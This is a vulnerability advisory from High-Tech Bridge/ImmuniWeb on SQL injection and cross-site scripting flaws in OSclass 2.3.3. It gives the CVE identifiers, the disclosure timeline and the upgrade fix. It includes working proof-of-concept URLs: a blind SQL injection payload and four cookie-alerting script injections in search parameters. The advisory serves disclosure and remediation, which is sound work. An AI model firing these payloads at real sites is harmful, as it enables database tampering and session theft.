Total Tests:

Multiple vulnerabilities in OSclass

Advisory ID:HTB23068
Product:OSclass
Vendor: Osclass
Vulnerable Versions:2.3.3 and probably prior
Tested Version:2.3.3
Advisory Publication:January 4, 2012 [without technical details]
Vendor Notification:January 4, 2012
Vendor Fix:January 16, 2012
Public Disclosure:January 25, 2012
Latest Update:February 2, 2012
Vulnerability Type:SQL Injection [CWE-89]
Cross-Site Scripting [CWE-79]
CVE References:CVE-2012-0973
CVE-2012-0974
Risk Level:High
CVSSv2 Base Scores:7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in OSclass, which can be exploited to perform cross-site scripting and sql injection attacks.

1) SQL Injection in OSclass: CVE-2012-0973.
Input passed via the "sCategory" GET parameter to /index.php is not properly sanitised before being used in SQL query.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.
The following PoC code is available:
http://[host]/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID% 28version%28%29,1,1%29%29=5%29%20d%20--%202
Successful exploitation of the vulnerability requires that "magic_quotes_gpc" is off.

2) Cross-Site Scripting in OSclass: CVE-2012-0974.
Input passed via the "sCity", "sPattern", "sPriceMax", "sPriceMin" GET parameters to /index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.
The following PoC code is available:
http://[host]/index.php?page=search&sCity=%22%3E%3Cscript%3Ealert%28document .cookie%29;%3C/script%3E
http://[host]/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E
http://[host]/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E
http://[host]/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28docu ment.cookie%29;%3C/script%3E

How to Detect SQL Injection Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to OSClass 2.3.5

More information:
http://osclass.org/2012/01/16/osclass-2-3-5/


References:
[1] High-Tech Bridge Advisory HTB23068 - https://www.immuniweb.com/advisory/HTB23068 - Multiple vulnerabilities in OSclass.
[2] OSclass - http://osclass.org/ - OSClass is an open source project for classifieds.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential